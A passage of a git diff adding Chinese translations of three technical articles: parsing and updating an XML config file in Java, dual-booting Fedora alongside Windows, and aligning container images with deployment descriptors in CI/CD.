表示了一个 _元素_。 + * 内容Content: 在 `` 元素里,字符串 `Penguin` 就是 _内容_。 + +不管你信不信,只要了解了以上几个概念,你就可以开始编写、解析 XML 文件了。 + +### 创建一个示例配置文件 + +要学习如何解析 XML 文件,只需要一个极简的示例文件就够了。假设现在有一个配置文件,里面保存的是关于一个图形界面窗口的属性: + +``` + +    Dark +    0 +    Tango + + +``` + +创建一个名为 `~/.config/DemoXMLParser` 的目录: + +``` +$ mkdir ~/.config/DemoXMLParser +``` + +在 Linux 中,`~/.config` 目录是存放配置文件的默认位置,这是在 [自由桌面工作组][4] 的规范中定义的。如果你正在使用一个不遵守 自由桌面工作组Freedesktop 标准的操作系统,你也仍然可以使用这个目录,只不过你需要自己创建这些目录了。 + +复制 XML 的示例配置文件,粘贴并保存为 `~/.config/DemoXMLParser/myconfig.xml` 文件。 + +### 使用 Java 解析 XML + +如果你是 Java 的初学者,你可以先阅读我写的 [面向 Java 入门开发者的 7 个小技巧][5]。一旦你对 Java 比较熟悉了,打开你最喜爱的集成开发工具(IDE),创建一个新工程。我会把我的新工程命名为 `myConfigParser`。 + +刚开始先不要太关注依赖导入和异常捕获这些,你可以先尝试用 `javax` 和 `java.io` 包里的标准 Java 扩展来实例化一个解析器。如果你使用了 IDE,它会提示你导入合适的依赖。如果没有,你也可以在文章稍后的部分找到完整的代码,里面就有完整的依赖列表。 + + +``` +Path configPath = Paths.get(System.getProperty("user.home"), ".config", "DemoXMLParser"); +File configFile = new File(configPath.toString(), "myconfig.xml"); + +DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + +DocumentBuilder builder = null; +builder = factory.newDocumentBuilder(); + +Document doc = null; +doc = builder.parse(configFile); +doc.getDocumentElement().normalize(); +``` + +这段示例代码使用了 `java.nio.Paths` 类来找到用户的主目录,然后在拼接上默认配置文件的路径。接着,它用 `java.io.File` 类来把配置文件定义为一个 `File` 对象。 + +紧接着,它使用了 `javax.xml.parsers.DocumentBuilder` 和 `javax.xml.parsers.DocumentBuilderFactory` 这两个类来创建一个内部的文档构造器,这样 Java 程序就可以导入并解析 XML 数据了。 + +最后,Java 创建一个叫 `doc` 的文档对象,并且把 `configFile` 文件加载到这个对象里。通过使用 `org.w3c.dom` 包,它读取并规范化了 XML 数据。 + +基本上就是这样啦。理论上来讲,你已经完成了数据解析的工作。可是,如果你不能够访问数据的话,数据解析也没有多少用处嘛。所以,就让我们再来写一些查询,从你的配置中读取重要的属性值吧。 + +### 使用 Java 访问 XML 的值 + +从你已经读取的 XML 文档中获取数据,其实就是要先找到一个特定的节点,然后遍历它包含的所有元素。通常我们会使用多个循环语句来遍历节点中的元素,但是为了保持代码可读性,我会尽可能少地使用循环语句: + +``` +NodeList nodes = doc.getElementsByTagName("window"); + +for (int i = 0; i < nodes.getLength(); i++) { + Node mynode = nodes.item(i); + System.out.println("Property = " + mynode.getNodeName()); + + if (mynode.getNodeType() == Node.ELEMENT_NODE) { + Element myelement = (Element) mynode; + + System.out.println("Theme = " + myelement.getElementsByTagName("theme").item(0).getTextContent()); + System.out.println("Fullscreen = " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); + System.out.println("Icon set = " + myelement.getElementsByTagName("icons").item(0).getTextContent()); + } +} +``` + +这段示例代码使用了 `org.w3c.dom.NodeList` 类,创建了一个名为 `nodes` 的 `NodeList` 对象。这个对象包含了所有名字匹配字符串 `window` 的子节点,实际上这样的节点只有一个,因为本文的示例配置文件中只配置了一个。 + +紧接着,它使用了一个 `for` 循环来遍历 `nodes` 列表。具体过程是:根据节点出现的顺序逐个取出,然后交给一个 `if-then` 子句处理。这个 `if-then` 子句创建了一个名为 `myelement` 的 `Element` 对象,其中包含了当前节点下的所有元素。你可以使用例如 `getChildNodes` 和 `getElementById` 方法来查询这些元素,项目中还 [记录了][9] 其他查询方法。 + +在这个示例中,每个元素就是配置的键。而配置的值储存在元素的内容中,你可以使用 `.getTextContent` 方法来提取出配置的值。 + +在你的 IDE 中运行代码(或者运行编译后的二进制文件): + +``` +$ java ./DemoXMLParser.java +Property = window +Theme = Dark +Fullscreen = 0 +Icon set = Tango +``` + +下面是完整的代码示例: + +``` +package myConfigParser; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Path; +import java.nio.file.Paths; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NamedNodeMap; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +public class ConfigParser { + + public static void main(String[] args) { + Path configPath = Paths.get(System.getProperty("user.home"), ".config", "DemoXMLParser"); + File configFile = new File(configPath.toString(), "myconfig.xml"); + DocumentBuilderFactory factory = + DocumentBuilderFactory.newInstance(); + DocumentBuilder builder = null; + + try { + builder = factory.newDocumentBuilder(); + } catch (ParserConfigurationException e) { + e.printStackTrace(); + } + + Document doc = null; + + try { + doc = builder.parse(configFile); + } catch (SAXException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + doc.getDocumentElement().normalize(); + + NodeList nodes = doc.getElementsByTagName("window"); + for (int i = 0; i < nodes.getLength(); i++) { + Node mynode = nodes.item(i); + System.out.println("Property = " + mynode.getNodeName()); + + if (mynode.getNodeType() == Node.ELEMENT_NODE) { + Element myelement = (Element) mynode; + + System.out.println("Theme = " + myelement.getElementsByTagName("theme").item(0).getTextContent()); + System.out.println("Fullscreen = " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); + System.out.println("Icon set = " + myelement.getElementsByTagName("icons").item(0).getTextContent()); + } // close if + } // close for + } // close method +} //close class +``` + +### 使用 Java 更新 XML + +用户时不时地会改变某个偏好项,这时候 `org.w3c.dom` 库就可以帮助你更新某个 XML 元素的内容。你只需要选择这个 XML 元素,就像你读取它时那样。不过,此时你不再使用 `.getTextContent` 方法,而是使用 `.setTextContent` 方法。 + +``` +updatePref = myelement.getElementsByTagName("fullscreen").item(0); +updatePref.setTextContent("1"); + +System.out.println("Updated fullscreen to " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); +``` + +这么做会改变应用程序内存中的 XML 文档,但是还没有把数据写回到磁盘上。配合使用 `javax` 和 `w3c` 库,你就可以把读取到的 XML 内容写回到配置文件中。 + +``` +TransformerFactory transformerFactory = TransformerFactory.newInstance(); + +Transformer xtransform; +xtransform = transformerFactory.newTransformer(); + +DOMSource mydom = new DOMSource(doc); +StreamResult streamResult = new StreamResult(configFile); + +xtransform.transform(mydom, streamResult); +``` + +这么做会没有警告地写入转换后的数据,并覆盖掉之前的配置。 + +下面是完整的代码,包括更新 XML 的操作: + +``` +package myConfigParser; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Path; +import java.nio.file.Paths; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.Transformer; +import javax.xml.transform.TransformerException; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.dom.DOMSource; +import javax.xml.transform.stream.StreamResult; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.SAXException; + +public class ConfigParser { + + public static void main(String[] args) { + Path configPath = Paths.get(System.getProperty("user.home"), ".config", "DemoXMLParser"); + File configFile = new File(configPath.toString(), "myconfig.xml"); + DocumentBuilderFactory factory = + DocumentBuilderFactory.newInstance(); + DocumentBuilder builder = null; + + try { + builder = factory.newDocumentBuilder(); + } catch (ParserConfigurationException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + Document doc = null; + + try { + doc = builder.parse(configFile); + } catch (SAXException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + doc.getDocumentElement().normalize(); + Node updatePref = null; +// NodeList nodes = doc.getChildNodes(); + NodeList nodes = doc.getElementsByTagName("window"); + for (int i = 0; i < nodes.getLength(); i++) { + Node mynode = nodes.item(i); + System.out.println("Property = " + mynode.getNodeName()); + + if (mynode.getNodeType() == Node.ELEMENT_NODE) { + Element myelement = (Element) mynode; + + System.out.println("Theme = " + myelement.getElementsByTagName("theme").item(0).getTextContent()); + System.out.println("Fullscreen = " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); + System.out.println("Icon set = " + myelement.getElementsByTagName("icons").item(0).getTextContent()); + + updatePref = myelement.getElementsByTagName("fullscreen").item(0); + updatePref.setTextContent("2"); + System.out.println("Updated fullscreen to " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); + } // close if + + }// close for + + // write DOM back to the file + TransformerFactory transformerFactory = TransformerFactory.newInstance(); + Transformer xtransform; + + DOMSource mydom = new DOMSource(doc); + StreamResult streamResult = new StreamResult(configFile); + + try { + xtransform = transformerFactory.newTransformer(); + xtransform.transform(mydom, streamResult); + } catch (TransformerException e) { + e.printStackTrace(); + } + + } // close method +} //close class +``` + +### 如何保证配置不出问题 + +编写配置文件看上去是一个还挺简单的任务。一开始,你可能会用一个简单的文本格式,因为你的应用程序只要寥寥几个配置项而已。但是,随着你引入了更多的配置项,读取或者写入错误的数据可能会给你的应用程序带来意料之外的错误。一种帮助你保持配置过程安全、不出错的方法,就是使用类似 XML 的规范格式,然后依靠你用的编程语言的内置功能来处理这些复杂的事情。 + +这也正是我喜欢使用 Java 和 XML 的原因。每当我试图读取错误的配置值时,Java 就会提醒我。通常,这是由于我在代码中试图获取的节点,并不存在于我期望的 XML 路径中。XML 这种高度结构化的格式帮助了代码保持可靠性,这对用户和开发者来说都是有好处的。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/7/parsing-config-files-java + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) +[2]: https://opensource.com/resources/java +[3]: https://opensource.com/article/21/6/what-config-files +[4]: https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html +[5]: https://opensource.com/article/19/10/java-basics +[6]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+system +[7]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+file +[8]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+document +[9]: https://www.w3.org/2003/01/dom2-javadoc/org/w3c/dom/Document.html +[10]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string +[11]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+ioexception +[12]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+element diff --git a/published/202203/20210711 How to Dual Boot Fedora and Windows.md b/published/202203/20210711 How to Dual Boot Fedora and Windows.md new file mode 100644 index 0000000000..59f34fe23d --- /dev/null +++ b/published/202203/20210711 How to Dual Boot Fedora and Windows.md @@ -0,0 +1,226 @@ +[#]: subject: (How to Dual Boot Fedora and Windows) +[#]: via: (https://itsfoss.com/dual-boot-fedora-windows/) +[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14401-1.html) + +如何双启动 Fedora 和 Windows +====== + +![][2] + +> 这篇详细的教程一步一步地向你展示 **如何双启动 Fedora Linux 和 Windows 10**,附有适当的截图。 + +双启动 Linux 和 Windows 是一种完全享受这两款操作系统的流行方式。你可以在同一个硬件系统上安装 Linux 和 Windows 两款系统,并在你启动你的硬件系统时选择使用哪款操作系统。 + +![On the grub screen, you can select the operating system][1] + +如果你有一个已经安装 Windows 的系统,你将在这篇教程中学习如何在 Windows 的旁侧安装 Fedora 。 + +### 在 Windows 的旁侧安装 Fedora + +这篇教程是在一款已经安装 Windows,采用 GPT 分区和 UEFI 启动的硬件系统的基础上执行的。它应该也适用于其它的带有 MBR 分区和传统 BIOS 的硬件系统,但是我不能确认这一点。 + +注意:如果你的 Windows 系统使用 BitLocker 加密,在你安装 Fedora 前禁用它会是一个好主意。 + +#### 必要条件 + +这里是你需要遵循这篇教程的东西: + + * 一个已预装 Windows 的系统 + * 良好的互联网连接速度 + * 一个至少 4 GB 大小的 USB 接口设备(U 盘) + * 可选: 用于备份你的 Windows 现有数据的外部 USB 磁盘。 + * 可选: Windows 恢复或可启动磁盘(如果你偶遇一些严重的启动问题,你可以修复它)。 + +让我们看看步骤。 + +#### 步骤 1: 制作 Windows 系统的数据备份 [可选] + +备份总会是一个好主意。因为你将要处理磁盘分区。在一些罕见的不幸情况下,假设你出错并删除了错误的分区,你将丢失你的数据。 + +最简单的方法是将文档、视频、音乐、图片和其它的文件夹中的数据复制到一块外部 USB 磁盘中。你可以使用一个外部的机械硬盘(传输速度较慢,但是价格较便宜)或固态硬盘(传输速度较快,但是价格较昂贵),并将重要的文件和文件夹复制到其中。 + +#### 步骤 2: 为 Fedora 的安装准备一些可用的空间 + +你需要创建一个分区,你将在其中安装 Fedora 。如果你只有一个 C 驱动器,缩小它的分区。如果你有 D、E 或 F 等多个驱动器,确保你可以移动这些驱动器中的数据到一些其它的分区中,删除或缩小其中的一个驱动器。超过 40 GB 的驱动器分区都能有足够的空间来安装安装 Fedora 。 + +在 Windows 的菜单中,搜索 “磁盘分区” 并转到 “创建并格式化磁盘分区”。 + +![][10] + +在磁盘管理工具中,右键单件你想要分区的驱动器,并选择 “缩小卷”。 + +如果你只有一个像这样的分区,你需要为 Linux 腾出一些可用的空间。如果你有一些空间相当大的分区,请使用除 C 驱动器分区外的分区,因为它会擦除数据。 + +![][11] + +#### 步骤 3: 在 Windows 中制作一个 Fedora 的临场 USB + +现在,这个步骤可以通过不同的方法来完成。你可以下载 ISO 并使用 [Etcher][12] 或 Rufus 或一些其它的工具来将 ISO 镜像写入 USB 磁盘。 + +不过,Fedora 提供了一个用于下载 ISO 镜像和制作 临场 USBLive USB 的专用工具。我将在这篇教程中使用它。Fedora 团队在创建这个工具时付出了很多艰难的努力,因此为什么不使用它呢。 + +但是,首先, **插入 USB 接口设备**。现在,转到 Fedora 的下载页面: + +- [下载 Fedora][13] + +你将看到针对 Windows 版本的下载 “Fedora Media Writer” 工具的选项。 + +![][14] + +它将下载一个 exe 文件。在下载完成后,转到你所下载到的文件夹,并双击 `FedoraMediaWriter.exe` 文件来安装 “Fedora Media Writer” 工具。只需要重复点击 “下一步next 。 + +![][15] + +在安装完成后,运行 “Fedora Media Writer” 工具。但是在此之前,**确保你已经插入 USB 设备**。 + +它将给予你安装各种 Fedora 版本的选项。针对桌面机,选择工作站Workstation版本。 + +![][16] + +在接下来的屏幕中,你将会得到一个创建临场 USB 的选项。当你点击这个按钮时,它将开始下载 ISO 文件。它也将识别出你所插入的 USB 接口设备。 + +你需要良好的互联网访问速度来在一段时间内顺畅地下载 2GB 大小的 ISO 文件。 + +![][17] + +在下载 ISO 后,它会自动地对其进行检验,并给予你将 ISO 镜像写入到 USB 磁盘的选项,例如,创建临场 USB 。点击 “写入到磁盘Write to Disk” 按钮。 + +![][18] + +它将花费几分钟来完成安装过程。它显示 “完成Finished” 信息后,你可以关闭 “Fedora Media Writer” 工具了。 + +![][19] + +很好!现在你已经准备好了 Fedora 临场 USB 。现在是时候使用它来安装带有图形用户界面的 Fedora 了。 + +#### 步骤 4: 从 临场 USB 启动并安装 Fedora + +一些系统不允许你在使用安全启动的情形下从临场 USB 启动。如果你是这种情况的话,请 [禁用安全启动][20]。 + +在处于显示硬件系统制造商徽标的屏幕期间,按下 `F2` 或 `F10` 或 `F12` 按键。如果你不确定是哪个按键,你可以逐个尝试。但是,你要 **快速地** 按下按键 ,否则它将会启动到操作系统之中。 + +不同品牌计算机的按键是不同的。一些计算机甚至可能使用 `Esc` 或 `Del` 按键来完成此目的。 + +![Quickly press F2, F10 or F12 keys at the screen showing your system manufacturer’s logo][21] + +在一些罕见的情况下,你可能需要 [在 Windows 中访问 UEFI 启动设置][22]。 + +在 BIOS 设置中,通常,你应该会看到像这样的屏幕。在这里,你可以使用箭头按键来向下移动到 USB 选项,并按下回车键来从 USB 启动。请注意,在不同的系统中,这一屏幕可能会看起来有所不同。 + +![][23] + +如果一切顺利,你应该会看到像下面的一个屏幕。选择第一个选项 “启动 Fedora 工作站Start Fedora Workstation”: + +![][24] + +在数秒后,你应该会启动到 Fedora 临场会话期间,并会看到尝试或安装它的选项。选择 “安装到硬盘Install to Hard Drive” 。 + +![][25] + +它会要求选择安装过程的语言选项。 + +![][26] + +接下来的屏幕是很重要的。如果你已经在 “步骤 2” 中创建了可用的空间,你应该能够点击 “开始安装Begin Installation” 。如果你在“系统SYSTEM”下的磁盘图标上看到一个感叹号,单击它,并查看你能够在这里使用哪种磁盘配置。 + +如果你有多个磁盘,你可以为 Fedora 选择使用哪个磁盘。 + +![][27] + +选择磁盘,并点击“完成Done” 。现在,你应该会看到一条警告信息。在我的实例中,我没有在 “步骤 2” 中创建可用的空间,因此它会抱怨这里没有足够的可用的空间来安装 Fedora 。 + +![][28] + +我点击 “回收空间Reclaim space” ,并缩小在这里的 Windows 分区。 + +![][29] + +在这以后,将出现 “开始安装Begin Installation” 选项,开启安装过程。 + +![][30] + +现在,它只是一个需要耐心等待的游戏了。将花费数分钟来提取文件并安装它们。 + +![][31] + +当过程完成后,你将看到 “结束安装Finish Installation” 按钮,点击它。 + +![][32] + +你将回到 Fedora 临场会话期间。单击右上角的下拉菜单并选择 “重新启动Restart” 。 + +![][33] + +现在,当系统启动时,你应该会看到带有启动到 Fedora 和 Windows 选项的 [Grub 启动器][34]。 + +![][1] + +#### 步骤 5: 完成 Fedora 安装 + +至此你几乎完成了安装。你注意到 Fedora 没有要求你输入用户名和密码了吗?很多发行版(像 Ubuntu )在安装期间会要求你创建一个管理用户。作为另一种方式,Fedora 会在你第一次登录到所安装的系统时给予你这个选项。 + +当你第一次登录时,它会运行一次设置,并创建用户名和密码来作为这次初始化设置的一部分。 + +![][35] + +![][36] + +![][37] + +在你完成后,你已经用上 Fedora Linux 了。 + +![][38] + +就这样,你可以在同一个硬件系统上以双启动的模式来享受 Fedora Linux 和 Windows 。 + +如果你在学习这篇教程时有一些问题或者你正在面对一些重大难题,请在评论系统中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/dual-boot-fedora-windows/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/dual-boot-grub-screen-fedora-windows.jpg?resize=800%2C350&ssl=1 +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-windows-dual-boot.jpg?resize=800%2C450&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/03/disc-management-windows.png?resize=800%2C561&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/04/making-free-space-for-dual-boot.jpg?resize=1226%2C728&ssl=1 +[12]: https://itsfoss.com/install-etcher-linux/ +[13]: https://getfedora.org/en/workstation/download/ +[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/download-fedora-media-writer-tool.png?resize=800%2C373&ssl=1 +[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-Fedora-Media-Writer-tool-Windows.png?resize=745%2C581&ssl=1 +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-media-writer-1.png?resize=800%2C425&ssl=1 +[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-media-writer-2.jpg?resize=800%2C422&ssl=1 +[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/writing-fedora-iso-to-usb-with-Fedora-Media-Writer-Tool.png?resize=800%2C285&ssl=1 +[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedoa-live-usb-with-fedora-media-writer.png?resize=800%2C300&ssl=1 +[20]: https://itsfoss.com/disable-secure-boot-windows/ +[21]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/acer-predator-boot.jpg?resize=800%2C600&ssl=1 +[22]: https://itsfoss.com/access-uefi-settings-windows-10/ +[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/06/select-boot-from-live-usb.jpg?resize=800%2C330&ssl=1 +[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-live-screen.jpg?resize=800%2C350&ssl=1 +[25]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/Fedora-install-screen.jpg?resize=800%2C450&ssl=1 +[26]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-1.png?resize=800%2C450&ssl=1 +[27]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-2.png?resize=800%2C450&ssl=1 +[28]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-3.png?resize=800%2C450&ssl=1 +[29]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-4.png?resize=800%2C450&ssl=1 +[30]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-5.png?resize=800%2C450&ssl=1 +[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-6.png?resize=800%2C450&ssl=1 +[32]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-7.png?resize=800%2C450&ssl=1 +[33]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/restart-gnome-fedora.jpg?resize=799%2C439&ssl=1 +[34]: https://itsfoss.com/what-is-grub/ +[35]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-1.png?resize=800%2C575&ssl=1 +[36]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-2.png?resize=800%2C593&ssl=1 +[37]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-3.png?resize=800%2C591&ssl=1 +[38]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-completed.jpg?resize=800%2C500&ssl=1 diff --git a/published/202203/20210824 Solve the repository impedance mismatch in CI-CD.md b/published/202203/20210824 Solve the repository impedance mismatch in CI-CD.md new file mode 100644 index 0000000000..63430bdbfe --- /dev/null +++ b/published/202203/20210824 Solve the repository impedance mismatch in CI-CD.md @@ -0,0 +1,194 @@ +[#]: subject: "Solve the repository impedance mismatch in CI/CD" +[#]: via: "https://opensource.com/article/21/8/impedance-mismatch-cicd" +[#]: author: "Evan \"Hippy\" Slatis https://opensource.com/users/hippyod" +[#]: collector: "lujun9972" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14396-1.html" + +解决 CI/CD 中的仓库阻抗失配 +====== + +> 对齐部署镜像和描述符是很困难的,但是某些策略可以使整个过程更高效。 + +![](https://img.linux.net.cn/data/attachment/album/202203/26/111748mxu3ovasrvb0iy02.jpg) + +在软件架构中,当两个组件之间有某些概念性或技术上的差异时会出现 阻抗失配impedance mismatch。这个术语其实是从电子工程中借用的,表示电路中输入和输出的电子阻抗必须要匹配。 + +在软件开发中,存储在镜像仓库中的镜像与存储在源码控制管理系统(LCTT 译注:SCM,Source Code Management)中它的部署描述符deployment descriptor之间存在阻抗失配。你如何确定存储在 SCM 中的部署描述符表示的是正确的镜像?两个仓库追踪数据的方式并不一致,因此将一个镜像(在镜像仓库中独立存储的不可修改的二进制)和它的部署描述符(Git 中以文本文件形式存储的一系列修改记录)相匹配并不那么直观。 + +**注意**:本文假定读者已经熟悉以下概念: + + * 源码控制管理Source Control Management(SCM)系统和分支 + * Docker 或符合 OCI 标准的镜像和容器 + * 容器编排系统Container Orchestration Platforms(COP),如 Kubernetes + * 持续集成/持续交付Continuous Integration/Continuous Delivery(CI/CD) + * 软件开发生命周期Software development lifecycle(SDLC)环境 + +### 阻抗失配:SCM 与镜像仓库 + +为了更好地理解阻抗失配在什么场景下会成为问题,请考虑任意项目中的软件开发生命周期环境(SDLC),如开发、测试或发布环境。 + +测试环境不会有阻抗失配。现在使用 CI/CD 的最佳实践中开发分支的最新提交都会对应开发环境中的最新部署。因此,一个典型的、成功的 CI/CD 开发流程如下: + + 1. 向 SCM 的开发分支提交新的修改 + 2. 新提交触发一次镜像构建 + 3. 新生成的镜像被推送到镜像仓库,标记为开发中 + 4. 镜像被部署到容器编排系统(COP)中的开发环境,该镜像的部署描述符也更新为从 SCM 拉取的最新描述符。 + +换句话说,开发环境中最新的镜像永远与最新的部署描述符匹配。回滚到前一个构建的版本也不是问题,因为 SCM 也会跟着回滚。 + +最终,随着开发流程继续推进,需要进行更多正式的测试,因此某个镜像 —— 镜像对应着 SCM 中的某次提交 —— 被推到测试环境。如果是一次成功的构建,那么不会有大问题,因为从开发环境推过来的镜像应该会与开发分支的最新提交相对应。 + + 1. 开发环境的最新部署被允许入库,触发入库过程 + 2. 最新部署的镜像被标记为测试中 + 3. 镜像在测试环境中被拉取和部署,(该镜像)对应从 SCM 拉取的最新部署描述符 + +到目前为止,一切都没有问题,对吗?如果出现下面的场景,会有什么问题? + +**场景 A**:镜像被推到下游环境,如用户验收测试user acceptance testing (UAT),或者是生产环境。 + +**场景 B**:测试环境中发现了一个破坏性的 bug,镜像需要回滚到某个确定正常的版本。 + +在任一场景中,开发过程并没有停止,即开发分支上游有了一次或多次新的提交,而这意味着最新的部署描述符已经发生了变化,最新的镜像与之前部署在测试环境中的镜像不一致。对部署描述符的修改可能会也可能不会对之前版本的镜像起作用,但是它们一定是不可信任的。如果它们有了变化,那么它们就一定与目前为止你测试过的想要部署的镜像的部署描述符不一致。 + +问题的关键是:**如果部署的镜像不是镜像库中的最新版本,你怎么确定与部署的镜像相对应的是 SCM 中的哪个部署描述符?** 一言以蔽之,无法确定。两个库直接有阻抗失配。如果要详细阐述下,那么是有方法可以解决的,但是你需要做很多工作,这部分内容就是文章接下来的主题了。请注意,下面的方案并不是解决问题的唯一办法,但是已经投入到生产环境并已经对很多项目起了作用,而且已经被构建并部署到生产环境中运行了超过一年。 + +### 二进制与部署描述符 + +源码通常被构建成一个 Docker 镜像或符合 OCI 标准的镜像,该镜像通常被部署到一个容器编排平台(COP)上,如 Kubernetes。部署到 COP 需要部署描述符来定义镜像被如何部署以及作为容器运行,如 [Kubernetes 部署][2] 或 [CronJobs][3]。这是因为在镜像和它的部署描述符之间有本质差异,在这里可以看到阻抗失配。在这次讨论中,我们认为镜像是存储在镜像仓库中不可修改的二进制。对源码的任何修改都不会修改镜像,而是用另一个新的镜像去替换它。 + +相比之下,部署描述符是文本文件,因而可以被认为是源码且可修改。如果遵循最佳实践,那么部署描述符是被存储在 SCM,所有修改都会提交,而这很容易回溯。 + +### 解决阻抗失配 + +建议的解决方案的第一部分,就是提供一个能匹配镜像仓库中的镜像与对保存部署描述符的 SCM 做的代码提交的方法。最直接的解决方案是用源提交的哈希值标记镜像。这个方法可以区分不同版本的镜像、容易分辨,并且提供足够的信息来查找正确的部署描述符,以便镜像更好地部署到 COP。 + +再回顾下上面的场景: + +**场景 A** _镜像被推到下游环境_: 当镜像被从测试环境推到 UAT 环境时,我们可以从镜像的标签中知道应该从 SCM 的哪一次源码提交拉取部署描述符。 + +**场景 B** _当一个镜像需要在某一环节中回滚_:无论我们选择回滚到那个镜像版本,我们都可以知道从 SCM 的哪一次源码提交拉取正确的部署描述符。 + +在每一种情景中,无论在某个镜像被部署到测试环境后开发分支有多少次提交和构建,对于每一次升级的镜像,我们都可以找到它当初部署时对应的部署描述符。 + +然而,这并不是阻抗失配的完整解决方案。再考虑两个场景: + +**场景 C** 在负载测试环境中,会尝试对不同的部署描述符进行多次部署,以此来验证某一次构建的表现。 + +**场景 D** 一个镜像被推送到下游环境,在该环境中部署描述符有一个错误。 + +在上面的所有场景中,我们都需要修改部署描述符,但是目前为止我们只有一个源码提交哈希。请记住,最佳实践要求我们所有对源码的修改都要先提交到 SCM。某次提交的哈希本身是无法修改的,因此我们需要一个比仅仅追踪原来的源码提交哈希更好地解决方案。 + +解决方案是基于原来的源码提交哈希新建一个分支。我们把这个分支称为**部署分支**。每当一个镜像被推到下游测试或发布环境时,你应该**基于前一个 SDLC 环境的部署分支的最新提交**创建一个新的部署分支。 + +这样同一个镜像可以重复多次部署到不同的 SDLC 环境,并在后面每个环境中可以感知前面发现的改动或对镜像做的修改。 + +**注意:** 在某个环境中做的修改是如何影响下一个环境的,是用可以共享数据的工具(如 Helm Charts)还是手动剪切、粘贴到其他目录,都不在本文讨论的范围内。 + +因此,当一个镜像被从一个 SDLC 环境中推到下一环境时: + + 1. 创建一个部署分支 + 1. 如果镜像是从开发环境中推过来的,那么部署分支就基于构建这个镜像的源码提交哈希创建 + 2. 否则,_部署分支基于当前部署分支的最新提交创建_ + 2. 镜像被部署到下一个 SDLC 